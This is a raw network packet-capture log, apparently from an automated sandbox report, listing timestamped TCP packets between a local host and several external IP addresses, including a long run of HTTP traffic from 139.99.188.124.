                                                                                                                                                                          Dec 23, 2024 08:40:07.274337053 CET44349787172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:07.562108994 CET49704443192.168.2.923.206.229.209
                                                                                                                                                                          Dec 23, 2024 08:40:07.562108994 CET49704443192.168.2.923.206.229.209
                                                                                                                                                                          Dec 23, 2024 08:40:07.626111984 CET44349777172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:07.629853010 CET49777443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:07.629884958 CET44349777172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:07.630909920 CET44349777172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:07.630975008 CET49777443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:07.636276960 CET49777443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:07.636341095 CET44349777172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:07.636514902 CET49777443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:07.636523008 CET44349777172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:07.638501883 CET44349776172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:07.638691902 CET49776443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:07.638705969 CET44349776172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:07.639767885 CET44349776172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:07.639828920 CET49776443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:07.640672922 CET49776443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:07.640734911 CET44349776172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:07.640944004 CET49776443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:07.640952110 CET44349776172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:07.665632010 CET44349778172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:07.665878057 CET49778443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:07.665899038 CET44349778172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:07.667129993 CET44349778172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:07.667196989 CET49778443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:07.668282986 CET49778443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:07.668358088 CET44349778172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:07.668540001 CET49778443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:07.668550014 CET44349778172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:07.682490110 CET4434970423.206.229.209192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:07.682854891 CET49704443192.168.2.923.206.229.209
                                                                                                                                                                          Dec 23, 2024 08:40:07.833163977 CET49777443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:07.833172083 CET49776443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:07.833172083 CET49778443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:08.055866957 CET44349776172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.055955887 CET44349776172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.056006908 CET49776443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:08.056246996 CET49776443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:08.056267977 CET44349776172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.056992054 CET44349777172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.057219028 CET44349777172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.057296991 CET49777443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:08.057466984 CET49777443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:08.057485104 CET44349777172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.100809097 CET44349778172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.100899935 CET44349778172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.100950003 CET49778443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:08.101141930 CET49778443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:08.101165056 CET44349778172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.106728077 CET49786443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:08.107228994 CET49789443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:08.107270002 CET44349789172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.107414007 CET49789443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:08.110064983 CET49787443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:08.110178947 CET49775443192.168.2.9172.217.17.65
                                                                                                                                                                          Dec 23, 2024 08:40:08.111182928 CET49790443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:08.111223936 CET44349790172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.111277103 CET49790443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:08.111723900 CET49791443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:08.111733913 CET44349791172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.111762047 CET49785443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:08.111788988 CET49791443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:08.112009048 CET49792443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:08.112091064 CET44349792172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.112154007 CET49792443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:08.112166882 CET49793443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:08.112194061 CET44349793172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.112246037 CET49793443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:08.112346888 CET49789443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:08.112359047 CET44349789172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.112874985 CET49790443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:08.112905025 CET44349790172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.113296986 CET49791443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:08.113308907 CET44349791172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.113420010 CET49792443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:08.113454103 CET44349792172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.113497972 CET49793443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:08.113523006 CET44349793172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.147339106 CET44349786172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.151340961 CET44349787172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.155335903 CET44349775172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.155339956 CET44349785172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.166053057 CET44349775172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.166129112 CET49775443192.168.2.9172.217.17.65
                                                                                                                                                                          Dec 23, 2024 08:40:08.231071949 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.231163979 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.231184006 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.231228113 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:08.231372118 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.231401920 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.231417894 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.231425047 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:08.231436014 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.231467962 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:08.231667995 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.231684923 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.231703043 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.231705904 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:08.231790066 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:08.308705091 CET44349785172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.308792114 CET49785443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:08.350790024 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.350836992 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.350899935 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:08.387509108 CET44349786172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.387605906 CET49786443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:08.387631893 CET44349786172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.387764931 CET49786443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:08.428577900 CET49796443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:08.428678989 CET44349796172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.428740978 CET49797443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:08.428761959 CET49796443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:08.428776979 CET44349797172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.428834915 CET49797443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:08.429016113 CET49798443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:08.429030895 CET44349798172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.429075956 CET49798443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:08.429178953 CET49799443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:08.429188013 CET44349799172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.429230928 CET49799443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:08.429452896 CET49796443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:08.429462910 CET44349796172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.429842949 CET49797443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:08.429860115 CET44349797172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.429946899 CET49798443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:08.429954052 CET44349798172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.430082083 CET49799443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:08.430092096 CET44349799172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.443587065 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.443723917 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.443778038 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:08.447710037 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.447812080 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.447988987 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:08.456095934 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.456253052 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.456319094 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:08.464525938 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.464601994 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.464709044 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:08.472875118 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.472917080 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.472956896 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:08.481193066 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.481298923 CET44349787172.64.41.3192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.481309891 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.481369972 CET49787443192.168.2.9172.64.41.3
                                                                                                                                                                          Dec 23, 2024 08:40:08.481378078 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:08.489717960 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.489774942 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.489831924 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:08.497993946 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.498051882 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.498136044 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:08.506382942 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.506530046 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.506697893 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:08.514719963 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.514826059 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.514873028 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:08.523129940 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.523166895 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.523221970 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:08.656080961 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.656133890 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.656187057 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:08.658797979 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.658873081 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.658912897 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:08.664350986 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.664413929 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.664459944 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:08.669811010 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.669893026 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.669938087 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:08.675301075 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.675409079 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.675462961 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:08.680788040 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.680913925 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.680969000 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:08.686337948 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.686405897 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.686573029 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:08.691766977 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.691834927 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.691998005 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:08.697290897 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.697402000 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.697446108 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:08.702728987 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.702840090 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.702971935 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:08.708215952 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.708370924 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.708421946 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:08.713685036 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.713783026 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.713866949 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:08.719197989 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.719295979 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.719350100 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:08.724636078 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.724737883 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.724951029 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:08.730150938 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.730227947 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.734251022 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:08.735569000 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.832928896 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:08.868911028 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.868951082 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.869081974 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:08.871066093 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.871184111 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.871360064 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:08.875678062 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.875971079 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.876014948 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:08.880295038 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.880438089 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.880481958 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:08.884918928 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.885133982 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.885200977 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:08.889504910 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.889631033 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.889698982 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:08.894144058 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.894234896 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.894275904 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:08.898751020 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.898866892 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.898941040 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:08.903425932 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.903522015 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.903558016 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:08.907974958 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.908072948 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.908135891 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:08.912657976 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.912763119 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.912798882 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:08.917268038 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.917330027 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.917385101 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:08.921804905 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.921922922 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.922010899 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:08.926425934 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.926563978 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.926635027 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:08.931068897 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.931166887 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.931278944 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:08.935659885 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.935775995 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.935885906 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:08.940320969 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.940390110 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.940442085 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:08.944899082 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.944996119 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.945038080 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:08.949500084 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.949542046 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.949593067 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:08.954149008 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.954216003 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.954303980 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:08.958731890 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.958882093 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.959043980 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:08.963331938 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.963427067 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.963500977 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:08.967973948 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.968040943 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.968123913 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:08.972587109 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.972718000 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.972923040 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:08.977180004 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.977267981 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:08.977319956 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.081609011 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.081760883 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.081825018 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.083447933 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.083583117 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.083738089 CET4978080192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:09.087163925 CET8049780139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:09.088525057 CET8049780139.99.188.124192.168.2.9
